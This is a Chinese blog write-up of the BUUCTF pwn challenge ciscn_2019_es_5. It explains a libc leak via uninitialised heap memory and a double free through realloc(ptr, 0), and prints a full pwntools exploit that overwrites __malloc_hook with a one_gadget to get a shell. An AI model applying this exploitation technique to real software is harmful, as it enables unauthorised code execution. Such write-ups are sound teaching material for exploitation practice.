(BUUCTF)ciscn_2019_es_5

文章描述了一种利用C程序中未初始化内存的漏洞,通过申请、释放和重新分配内存,实现unsortedbinchunk的控制,进而泄漏libc地址并利用doublefree漏洞执行恶意代码的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前置知识

  • 感谢havik师傅的wp
  • 未初始化内存

realloc函数:

  • 第二个参数大于原有chunk大小时,会将原chunk释放,并申请一个第二个参数大小的新chunk,返回新的chunk指针
  • 第二个参数等于0时,等同于free,直接释放
  • 第二个参数小于等于原有chunk时,仅仅返回其指针

整体思路

阅读程序,没有明显漏洞,不存在off by null,明面上也没有uaf之类的

但是:

  • 由于程序中申请到可控chunk时,并没有对其进行初始化,因此可以将释放到unsortedbin中的chunk申请回来,然后残留的main_arena的指针还在chunk中,可以直接泄露libc
  • 程序没有对申请的大小进行校验,因此可以申请大小为0chunk,如此一来会返回一个大小为0x20chunk,但edit时会调用realloc,其第二个参数为申请时的大小0,相当于free。接下来再次delete,就可以实现double free

那么整体思路就比较清晰了:

先申请8个大小属于unsortedbinchunk,然后全部释放(不要使得最后一个chunk被最后释放即可,不然会合并),从而获得一个unsortedbin chunk。然后申请一个小一点的chunk,这会使得其去切割unsortedbin,从而获得一个拥有残留指针的chunk。由此可以泄露出libc

接下来申请一个大小为0chunk,使用edit将其释放,再使用delete,从而进行double free。由此改malloc_hookone_gadget即可。

exp

from pwn import *
from LibcSearcher import *

filename = './ciscn_2019_es_5'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.27-3ubuntu1_amd64/libc.so.6')

if local:
    sh = process(filename)
else:
    sh = remote('node4.buuoj.cn', )

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = 'Your choice:'

menu_add = 1
add_index_words = ''
add_size_words = 'size?>'
add_content_words = 'content:'

menu_del = 4
del_index_words = 'Index:'

menu_show = 3
show_index_words = 'Index:'

menu_edit = 2
edit_index_words = 'Index:'
edit_size_words = ''
edit_content_words = 'New content:'

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)
def edit_free(index=-1, size=-1):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)


add(size=0x100, content='a') # 0

for i in range(7):
    add(size=0x100, content='b')

for i in range(1, 8):
    delete(index=i)

delete(index=0)
add(size=0x30, content='a') # 0
show(index=0)
sh.recvuntil('Content: ', drop=False)
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
libc.address = libc_leak - 0x3ebd61
leak_info('libc.address', libc.address)

add(size=0, content='') # 1
edit_free(index=1)
delete(index=1)

one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
add(size=0x10, content=p64(libc.sym['__malloc_hook']))
add(size=0x10, content=p64(libc.address + one_gadget[2]))

sh.sendlineafter('Your choice:', '1')

sh.interactive()
# debug()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值